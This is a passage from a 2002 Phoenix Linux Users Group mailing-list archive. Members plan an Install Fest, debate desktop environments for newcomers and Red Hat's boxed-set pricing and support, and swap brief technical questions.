surrounding it. anyway i eventually got a PC > because i want to play Doom, and of coarse Windoze. i started running > lightstep because i couldnt stand exploder, > then one day this friend of mine was over and i was showing him lightstep > and he said i have something i think you will like. he was right, > Enlightenment DR13 running the default theme on a RH 5.0 box. that was it > for me, i had to run it. > > so Enlightenment did it for me, and if it would have been a Windows look > alike i dont know if Linux would have sparked the passion that it did. i'm > not saying that Enlightenment should be the main focus by no means. but i do > feel it deserves a place somewhere, in some dark obscure corner. :~D > > slr > > > I would hate to see the demo compare some Windows box with > > Enlightenment. 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________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > - -- > > > Jim > > > > > > Freedom is worth protecting > > > > > > -----BEGIN PGP SIGNATURE----- > > > Version: PGP 6.5.8 > > > > > > iQA/AwUBPRpuwisk3ywszI1FEQJ/KACgvsXTGKvsLWy4ACLReiIptTCJmfgAoMc7 > > > pGSiwO1XtT/Q8RCR0ZCtpzwU > > > =JDmD > > > -----END PGP SIGNATURE----- > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -- > > If you feel you have received a virus from me, please read > > http://www.georgetoft.com/virus.html > > because it wasn't me! > > -- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 12:20:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 27 Jun 2002 08:20:04 -0400 Subject: Crappy Products Cost More!! References: <3D1A90F6.B045D1DB@qwest.net> Message-ID: <3D1B02F4.3E355CF9@georgetoft.com> Kevin Brown wrote: [snip] > > (Another small story) > > A friend of mine runs a technology related service business. He was getting > > too much work so he started raising his quotes. He started getting even more > > work from people that had dropped him before because he was "priced too low to > > be very good" as they later told him. > > (End of small story) > > This is because you either don't know what your skills are worth, or will take > more time than someone charging more per hour and cost them more in the long run > (time == money, especially during downtime). At least in their eyes. > I knew someone with the same story. When he charged $35/hour, he was swamped. Then he charged $75/hour, and he was losing business. He raised it to $125/hour and he was getting business he had lost before. Their stated reason for not hiring him at $75/hour was they though he didn't know what he was doing at that price. For $125/hour they thought he was competent. No change in technical skill - just a change in marketing. George From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 11:49:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 27 Jun 2002 07:49:36 -0400 (EDT) Subject: IF2 and Corp. Usability (was (no subject)) In-Reply-To: <3D1B01AB.1D1DC61D@georgetoft.com> Message-ID: I think this is one of the great opportunities afforded us in doing Install Fests and keeping track of new users of Linux. By finding out what new users are having trouble with, we can soften the most painful sharp edges. By asking people if we can contact them, then following up after 1 month, 3 months, 6 months, and a year, we can find out what will make Linux more appealing to new users. Imagine the potential if our Install Fests become sufficiently polished that companies are willing to foot the bill to have us go on site.... On Thu, 27 Jun 2002, George Toft wrote: > When a business person looks at a shift in technology, they must > consider retraining and migration costs. I spend about and hour per day > (less now that we fixed a glaring design error from a Big 5 Consulting > firm that we paid almost 7 figures to) talking with people who are > confused by a statement like this: "Please answer three of the five > questions below." This is demonstrated to me daily as people answer all > five questions. > > There is a substantial difference between you/me, and the average > corporate PC user. Business must take these factors into account when > making migration and upgrade plans. Enlightenment is eye-candy, and not > well suited for a business setting - business needs consistency, > reliability and repeatability. A system that is consistent with what > most people are used to is important. > > George > > > slr wrote: > > > > i must disagree with this slightly, because my case was a little different > > than the average Windoze user. i came from the MainFrame world, and to me at > > that time a PC was a toy. so the first Windoze box i saw was a joke, > > compared to the Data Center surrounding it. anyway i eventually got a PC > > because i want to play Doom, and of coarse Windoze. i started running > > lightstep because i couldnt stand exploder, > > then one day this friend of mine was over and i was showing him lightstep > > and he said i have something i think you will like. he was right, > > Enlightenment DR13 running the default theme on a RH 5.0 box. that was it > > for me, i had to run it. > > > > so Enlightenment did it for me, and if it would have been a Windows look > > alike i dont know if Linux would have sparked the passion that it did. i'm > > not saying that Enlightenment should be the main focus by no means. but i do > > feel it deserves a place somewhere, in some dark obscure corner. :~D > > > > slr > > > > > I would hate to see the demo compare some Windows box with > > > Enlightenment. That would drive them off fer sure! Such a demo should > > > compare KCE with Win95 look & feel or IceWM, so they won't feel > > > alienated. > > > > > > George > > > > > > > > > Jim wrote: > > > > > > > > -----BEGIN PGP SIGNED MESSAGE----- > > > > Hash: SHA1 > > > > > > > > Install Fests generally attract the curious and the convinced. They are > > > > either convinced that they want to switch to Linux or they are curious. > > They > > > > are also usually Joe Sixpack types who are getting on the clue train or > > > > geeks-in-training who know that there is a lot of fun under the hood. > > Not too > > > > many suits show up. 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________________________________________________ > > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't > > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > - -- > > > > Jim > > > > > > > > Freedom is worth protecting > > > > > > > > -----BEGIN PGP SIGNATURE----- > > > > Version: PGP 6.5.8 > > > > > > > > iQA/AwUBPRpuwisk3ywszI1FEQJ/KACgvsXTGKvsLWy4ACLReiIptTCJmfgAoMc7 > > > > pGSiwO1XtT/Q8RCR0ZCtpzwU > > > > =JDmD > > > > -----END PGP SIGNATURE----- > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > -- > > > If you feel you have received a virus from me, please read > > > http://www.georgetoft.com/virus.html > > > because it wasn't me! > > > -- > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > If you feel you have received a virus from me, please read > http://www.georgetoft.com/virus.html > because it wasn't me! > -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "...it's time to drop all the Reagan-era cliches and face facts. That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 13:02:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Thu, 27 Jun 2002 06:02:40 -0700 (MST) Subject: mysql -> postgres In-Reply-To: Message-ID: is this updateable sql views and triggers that move older records to the archive? On Wed, 26 Jun 2002, der.hans wrote: There's also a 'virtual table' feature of some sort that allows me to designate multiple tables as a single table. I'm really wanting to exploit this for archiving. Roll old stuff into a secondary table and normal queries only hit the most recent table, but reports needing more history can automagically query the whole archive of data. I think that's just me being lazy because it could be done with some sub-queries, but it's so much easier to let the db take care of it ;-). From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 12:58:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Thu, 27 Jun 2002 05:58:11 -0700 (MST) Subject: Install Fest II 0626 Status In-Reply-To: Message-ID: A handful of first-person-shooter games running wouldn't hurt, 'specially for the "Student Newspaper Oriented Press Releases" crowd? - t On Thu, 27 Jun 2002, Robert Bushman wrote: Pardon the delay, sent this last night with the wrong From: address. ---------- Forwarded message ---------- Subject: Install Fest II 0626 Status All corrections and feedback very welcome! News: Jim Farli has started the Install Fest II web site. Looking great! Thanks, Jim! http://www.plugpresents.com/installfest2/ Suggestions: - More Install Stations - Preliminary Survey - User Needs? - Feedback Survey - How to Improve? - 802.11 - Press Releases on 31 July and 31 Aug - Student Newspaper Oriented Press Releases - Demo Zone With Demonstrators - Presentations - PLUG Promotional Materials (PLUG Flyer) - PLUG Promotional Materials (PLUG T-Shirt) - Mailing List Registration - Current Lists - May We Contact You? - Attendees - May We Contact You? - Install Customers - PLUG Membership Database - Homemade Cheesecake Tasks: - Verify site (GCC Student Union?) and date (28 Sep?). - Assess priority and feasibility of suggestions. - Identify volunteers for open slots. Sponsor Status: - Sun Sent an email to the AZ educational sales rep requesting information on the right channel for sponsorship queries. Volunteers: Flyer: Michelle Lowman Press: Lee Einer Site: Steve (foodog) (pending GCC approval) Web Site: Jim Farli Chairman: Bob Bushman Open Volunteer Slots (verified): - Sponsor Wrangler Contact companies regarding sponsorship. Alan has been mentioned as a good resource for contacts. - Installers Be on hand day of show to do installs. Typically oriented by distro, and would be nice to have some specialists (multi-boot, firewall, etc). Open Volunteer Slots (proposed): - Surveys Arrange print and online versions of two surveys: Preliminary, focusing on the type of install needed. Feedback, focusing on opportunities for improvement. A first draft of a feedback survey is available. - 802.11 Arrange use of appropriate wireless gear. - Demo Zone Arrange demonstrators and coordinate efforts to provide appropriate systems. - Presentations Arrange presenters and coordinate access to a projector and OpenOffice presentation software. - T-Shirts Arrange printing of PLUG T-Shirts for sale and/or doorprizes at Install Fest. Probably requires harvesting of donations and/or investment in return on sales. - Contact Registration Arrange electronic and paper registration for mailing lists and "May We Contact You"s. - PLUG Membership Database Arrange a database for categorizing and searching through PLUG friends for experts in given areas. - Homemade Cheesecake Arrange for food for the hardworking volunteers. - Legal Make sure our collective butt is covered. In particular consider the data loss indemnification from last time, and the cost/benefit/permission of selling T-shirts, StarOffice, and/or cheesecake. ------------------------------------------------------------------- "...it's time to drop all the Reagan-era cliches and face facts. That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 14:11:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 07:11:31 -0700 Subject: Crappy Products Cost More!! Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B530@mail.int.fh.org> I am a registered user of Red hat. I bought the boxed set for ver 7.2 I downloaded 7.3 I prefer the KDE desktop. Unfortunately the KDE 3.0 that is included as part of 7.3 is unstable for Konqueror and Kmail, the two main applications I want to use. KDE released ver 3.1 several weeks ago. I have twice asked Red Hat tech support when it will be available through the up2date. I have been completely and totally ignored by Red Hat support. They have not even acknowledged receiving my question even though it was submitted via a form on the RHN site. In fact the RHN site will not let you log in using Konqueror but does with IE. If Red Hat hates KDE so much, why do they include it in their distros? kde.org itself talks about how Red Hat refuses to support their desktop. If Red Hat is counting on support $'s to stay in business, they have a lot of improving to do. I won't give them another dime till I see some improvement. -----Original Message----- From: alandd@mindspring.com [mailto:alandd@mindspring.com] Sent: Wednesday, June 26, 2002 8:42 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Crappy Products Cost More!! RedHat Professional comes with 90 days technical support. It also has all the printed manuals that would cost about $35 separately. (A small story, indirectly related.) I have successfully setup a new CVS server at work using RH7.3, Webmin and CVS, of course. In explaining what I had done and what I am using to do it, our company product manager said, and I quote, "If all that software is free, why are we using it. It is probably crap." This was followed by a brief demonstration of Webmin that left him less "against" the software but still not "for" it. (End of story.) (Another small story) A friend of mine runs a technology related service business. He was getting too much work so he started raising his quotes. He started getting even more work from people that had dropped him before because he was "priced too low to be very good" as they later told him. (End of small story) RedHat, I think, is marketing to the people who think they have to pay for something for it to be any good. And if they are right, and people want to pay for the support and the manuals, they remain a viable company. Some people want to pay lots of money. Would we geeks pay it? Nope. But some of the suits and non-geeks will. RedHat will find out soon enough if the market will pay the price they are asking. Alan On Wed, 26 Jun 2002 12:24:13 -0700 "Richard L. Proctor" wrote: Is it my imagination or does it seem that the worst products always costs more.  ie.  If you want Windows XP you plan on paying $179. for the home version and more for the professional version.  Again with RedHat you have a $79.95 personal or workstation edition and comes with 3 cd's.  Get the professional version for around $199.00 and i'm not sure how many cd's come with it.  Is RedHat trying to compete with Microsoft on who can supply the most expensive product?   Before anyone goes off saying well you can just download the distro and don't have to pay those prices.  I am thinking of the newbies.  I would never hand a newbie 3 cd's and say here ya go.  I would like to have the documentation to go with it.  Of course Redhat and Windows both give you wafer thin manuals.  SuSE and Mandrake give you good size manuals with plenty of information packed in them.  Also SuSE Professional is only $79.95 and comes with 7 cd's and one DVD.  The DVD had everything all 7 cd's have and you don't have to do any disk swaps.   I have worked with Redhat, Mandrake, and SuSE and it seems that Redhat lags far behind the competitors.  Try to install Redhat on a seperate hard disk with Windows XP on the first hard disk in NTFS format,  Redhat won't even make an entry for Windows XP in lilo.  I can imagine the panic attack a newbies face after the redhat install and the only option is Redhat.  LOL  That is of course if you can get Redhat to install in the first place. It don't like being on a second drive or on a partiton with windows that's any larger than 8 gigs.   SuSE has always installed on any drive no matter what the size or what drive since version 7.1 and earlier maybe.  This is a serious issue that Redhat needs to address.   I dunno,  I just don't see how the cost of Redhat boxed distro's is justified.  Maybe i'm missing the point?  Is there anyone out there that can show me the point?   ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 14:41:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar Narayanasamy) Date: Thu, 27 Jun 2002 07:41:39 -0700 (MST) Subject: =?iso-8859-1?Q?Re:_Crappy_Products_Cost_More!!?= In-Reply-To: <200206262236.18276.krycom1@cox.net> References: <200206262236.18276.krycom1@cox.net> Message-ID: <46631.144.15.249.67.1025188899.squirrel@www.esaravana.com> I use Redhat regularly, but try SuSE, Debian, TurboLinux and others, here and there. I always happened to go back to RedHat. Their manual is up to the point, anything more than that you could always visit them on-line. I always found SuSE manuals too bloated. I used to buy every release of RedHat, but after they upped the prices I have been buying just the alternate releases. They seem to be also doing lot of things with Linux for schools, fighting against M$ and working with corporation like Oracle/IBM/.. in porting their applications to Linux. Sundar > On Wednesday 26 June 2002 9:13 pm, Kevin Brown wrote: >> > RedHat Professional comes with 90 days technical support. It also >> > has all the printed manuals that would cost about $35 separately. > > What manuals, that's my point. I have the boxed version and the > manual is a 1/4 thick. SuSE and Mandrake have about 2 inches of > manuals. > > >> I had no problems with the price that RH was charging ($50 for boxed >> copy). > > Me either, until they up the price for $79 for boxed copy or $199 for > the server edition. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 15:19:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Thu, 27 Jun 2002 08:19:32 -0700 Subject: Install Fest II 0626 Status Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4E0C@azmscorp01.corp.azms> Yeah I was wondering what would happen if the installfest was joined with a lanparty? Larry Get linux and frag your friends.. :) -----Original Message----- From: Tom Emerson [mailto:tom@technicaljanitors.com] Sent: Thursday, June 27, 2002 5:58 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Install Fest II 0626 Status A handful of first-person-shooter games running wouldn't hurt, 'specially for the "Student Newspaper Oriented Press Releases" crowd? - t On Thu, 27 Jun 2002, Robert Bushman wrote: Pardon the delay, sent this last night with the wrong From: address. ---------- Forwarded message ---------- Subject: Install Fest II 0626 Status All corrections and feedback very welcome! News: Jim Farli has started the Install Fest II web site. Looking great! Thanks, Jim! http://www.plugpresents.com/installfest2/ Suggestions: - More Install Stations - Preliminary Survey - User Needs? - Feedback Survey - How to Improve? - 802.11 - Press Releases on 31 July and 31 Aug - Student Newspaper Oriented Press Releases - Demo Zone With Demonstrators - Presentations - PLUG Promotional Materials (PLUG Flyer) - PLUG Promotional Materials (PLUG T-Shirt) - Mailing List Registration - Current Lists - May We Contact You? - Attendees - May We Contact You? - Install Customers - PLUG Membership Database - Homemade Cheesecake Tasks: - Verify site (GCC Student Union?) and date (28 Sep?). - Assess priority and feasibility of suggestions. - Identify volunteers for open slots. Sponsor Status: - Sun Sent an email to the AZ educational sales rep requesting information on the right channel for sponsorship queries. Volunteers: Flyer: Michelle Lowman Press: Lee Einer Site: Steve (foodog) (pending GCC approval) Web Site: Jim Farli Chairman: Bob Bushman Open Volunteer Slots (verified): - Sponsor Wrangler Contact companies regarding sponsorship. Alan has been mentioned as a good resource for contacts. - Installers Be on hand day of show to do installs. Typically oriented by distro, and would be nice to have some specialists (multi-boot, firewall, etc). Open Volunteer Slots (proposed): - Surveys Arrange print and online versions of two surveys: Preliminary, focusing on the type of install needed. Feedback, focusing on opportunities for improvement. A first draft of a feedback survey is available. - 802.11 Arrange use of appropriate wireless gear. - Demo Zone Arrange demonstrators and coordinate efforts to provide appropriate systems. - Presentations Arrange presenters and coordinate access to a projector and OpenOffice presentation software. - T-Shirts Arrange printing of PLUG T-Shirts for sale and/or doorprizes at Install Fest. Probably requires harvesting of donations and/or investment in return on sales. - Contact Registration Arrange electronic and paper registration for mailing lists and "May We Contact You"s. - PLUG Membership Database Arrange a database for categorizing and searching through PLUG friends for experts in given areas. - Homemade Cheesecake Arrange for food for the hardworking volunteers. - Legal Make sure our collective butt is covered. In particular consider the data loss indemnification from last time, and the cost/benefit/permission of selling T-shirts, StarOffice, and/or cheesecake. ------------------------------------------------------------------- "...it's time to drop all the Reagan-era cliches and face facts. That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 15:51:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 08:51:21 -0700 Subject: Install fest interest generation References: <02062618474610.07972@nova.wedge.org> Message-ID: <001a01c21df2$7c11d5f0$0301010a@tickticker.com> How about advertising the Installfest in the local school systems? The local high schools are probably full of the curious. And students like free:-) It wouldn't take much get the message out to the schools, perhaps posting it in the computer labs. then again, IANAE (I am not an educator) but some on this list are. anthony ----- Original Message ----- From: "Jim" To: Sent: Wednesday, June 26, 2002 6:47 PM Subject: Re: (no subject) > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Install Fests generally attract the curious and the convinced. They are > either convinced that they want to switch to Linux or they are curious. They > are also usually Joe Sixpack types who are getting on the clue train or > geeks-in-training who know that there is a lot of fun under the hood. Not too > many suits show up. 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________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > - -- > > Jim > > > > Freedom is worth protecting > > > > -----BEGIN PGP SIGNATURE----- > > Version: PGP 6.5.8 > > > > iQA/AwUBPRpuwisk3ywszI1FEQJ/KACgvsXTGKvsLWy4ACLReiIptTCJmfgAoMc7 > > pGSiwO1XtT/Q8RCR0ZCtpzwU > > =JDmD > > -----END PGP SIGNATURE----- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "...it's time to drop all the Reagan-era cliches and face facts. That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 16:33:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Thu, 27 Jun 2002 09:33:05 -0700 Subject: Membership database (was Re: West Side InstallFest) In-Reply-To: <20020627010103.GO8953@ecloud.org> References: <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626163527.00a52ec0@localhost> Message-ID: <5.1.0.14.0.20020626203832.025352a0@localhost> In answer.................... At 6/26/02, you wrote: >Isn't there an announce list? If the membership of this list were exposed >to its members (which I see right now it isn't - only the admin can see this) >then you'd basically have an email list. Maybe this could be augmented >with a database which maps the emails to some web links. Every member >could modify this mapping to link the email to a "my involvement with >PLUG" type page, and some software could be set up on the PLUG web >server to optionally host those pages there instead of on members' own >web servers, for those who don't have their own. Your password for your >mailing list membership should be re-used to grant you access to edit >your automatically-created default member page. Sounds like a job for >Zope or something doesn't it? And that's the reason for my two cents or so. That's what Unity Wave does. We have programming that allows for quick duplication of a "template" that is then easily updated by the user rather than the webmaster. I have proposed this kind of programming before. Sometimes, it's the grumbling that doesn't let a project begin or finish. >If you separate the membership database from the mailing list, then it >is not self-maintaining, nobody will care very much about keeping it >up to date and soon it will not be. Witness the shortness and age of >this page: http://plug.phoenix.az.us/membersites.shtml for proof of >that. See how many links you can still follow. I believe I sent in >email to notify the web master that my link is way out of date, but >never got a response. But if members can maintain their own links at >the same time they manage their list subscriptions, then it will tend >to stay up-to-date. Which means of course that this ought to be a >Mailman feature, ideally. Every member of any list ought to be able >to put a URL next to his name on the "member list" page. Your suggestions are of the utmost importance to me. If I can move forward with programming for something like this, then those suggestions will be implemented if we can possibly implement. I only have history with PLUG for a year and a half or so. I don't know what has been tried before or what hasn't. We make life and changing life easy for the end user. Personally, I don't want to have to go back and fix everything that a user can't. I don't want to have to hard code any URL anywhere on my pages unless I have to. If the decision were actually made to do so, we are poised and ready to move forward. Kimi Adams Unity Wave >-- > _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com > (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org > __) | | \________________________________________________________________ >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 16:25:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Thu, 27 Jun 2002 09:25:22 -0700 (MST) Subject: Install fest interest generation In-Reply-To: <001a01c21df2$7c11d5f0$0301010a@tickticker.com> Message-ID: High Schools and the Junior/Middle Schools too. Be nice to spark an interest at the Middle School level. Reaching back in memory, middle school, we had access to the County's PDP11 via a decwriter & acoustic coupler. We were Gods! (Then high school, and punch cards, what a let-down.) My son's computer education isn't too bad, but is limited to very basic office app's (M$). Next upgrade of hardware, dude's getting a Suse (current box is a souped up '486 with w'95, I dread attempting a modern X on it and it's 14" monitor). Anyway, back from memory lane, geeks & engineers are born, not made, there _will_ be an interest at the middle school level. - tom e. ---------- On Thu, 27 Jun 2002, tickticker wrote: How about advertising the Installfest in the local school systems? The local high schools are probably full of the curious. And students like free:-) It wouldn't take much get the message out to the schools, perhaps posting it in the computer labs. then again, IANAE (I am not an educator) but some on this list are. anthony ----- Original Message ----- From: "Jim" To: Sent: Wednesday, June 26, 2002 6:47 PM Subject: Re: (no subject) > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Install Fests generally attract the curious and the convinced. They are > either convinced that they want to switch to Linux or they are curious. They > are also usually Joe Sixpack types who are getting on the clue train or > geeks-in-training who know that there is a lot of fun under the hood. Not too > many suits show up. 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That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 16:45:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Thu, 27 Jun 2002 09:45:28 -0700 Subject: scripts in vi Message-ID: <3D1B4128.6020607@ttiltd.com> I would like to know how to execute scripts in vi. Can someone help me with this? For example a script that would insert a date into a document. Greg From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 16:48:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Thu, 27 Jun 2002 09:48:30 -0700 Subject: Crappy Products Cost More!! References: <4A8DFDA6B395D411A11B00508BEE23FE76B530@mail.int.fh.org> Message-ID: <000901c21dfa$779072e0$0e02a8c0@krycom> Yea I have noticed that the default desktop is Gnome and KDE is unchecked during install. ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Thursday, June 27, 2002 7:11 AM Subject: RE: Crappy Products Cost More!! > I am a registered user of Red hat. I bought the boxed set for ver 7.2 I downloaded 7.3 I prefer the KDE desktop. Unfortunately the KDE 3.0 that is included as part of 7.3 is unstable for Konqueror and Kmail, the two main applications I want to use. KDE released ver 3.1 several weeks ago. I have twice asked Red Hat tech support when it will be available through the up2date. I have been completely and totally ignored by Red Hat support. They have not even acknowledged receiving my question even though it was submitted via a form on the RHN site. In fact the RHN site will not let you log in using Konqueror but does with IE. If Red Hat hates KDE so much, why do they include it in their distros? kde.org itself talks about how Red Hat refuses to support their desktop. > > If Red Hat is counting on support $'s to stay in business, they have a lot of improving to do. I won't give them another dime till I see some improvement. > > -----Original Message----- > From: alandd@mindspring.com [mailto:alandd@mindspring.com] > Sent: Wednesday, June 26, 2002 8:42 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Crappy Products Cost More!! > > > RedHat Professional comes with 90 days technical support. It also has all the > printed manuals that would cost about $35 separately. > > (A small story, indirectly related.) > I have successfully setup a new CVS server at work using RH7.3, Webmin and > CVS, of course. In explaining what I had done and what I am using to do it, > our company product manager said, and I quote, "If all that software is free, > why are we using it. It is probably crap." This was followed by a brief > demonstration of Webmin that left him less "against" the software but still > not "for" it. > (End of story.) > > (Another small story) > A friend of mine runs a technology related service business. He was getting > too much work so he started raising his quotes. He started getting even more > work from people that had dropped him before because he was "priced too low to > be very good" as they later told him. > (End of small story) > > RedHat, I think, is marketing to the people who think they have to pay for > something for it to be any good. And if they are right, and people want to > pay for the support and the manuals, they remain a viable company. > > Some people want to pay lots of money. Would we geeks pay it? Nope. But > some of the suits and non-geeks will. RedHat will find out soon enough if the > market will pay the price they are asking. > > Alan > > On Wed, 26 Jun 2002 12:24:13 -0700 "Richard L. Proctor" > wrote: > > Is it my imagination or does it seem that the worst > products always costs more. ie. If you want Windows XP you plan on > paying $179. for the home version and more for the professional version. > Again with RedHat you have a $79.95 personal or workstation edition and comes > > with 3 cd's. Get the professional version for around $199.00 and i'm not > sure how many cd's come with it. Is RedHat trying to compete with > Microsoft on who can supply the most expensive product? > > Before anyone goes off saying well you can just > download the distro and don't have to pay those prices. I am thinking of > the newbies. I would never hand a newbie 3 cd's and say here ya go. > I would like to have the documentation to go with it. Of course Redhat and > Windows both give you wafer thin manuals. SuSE and 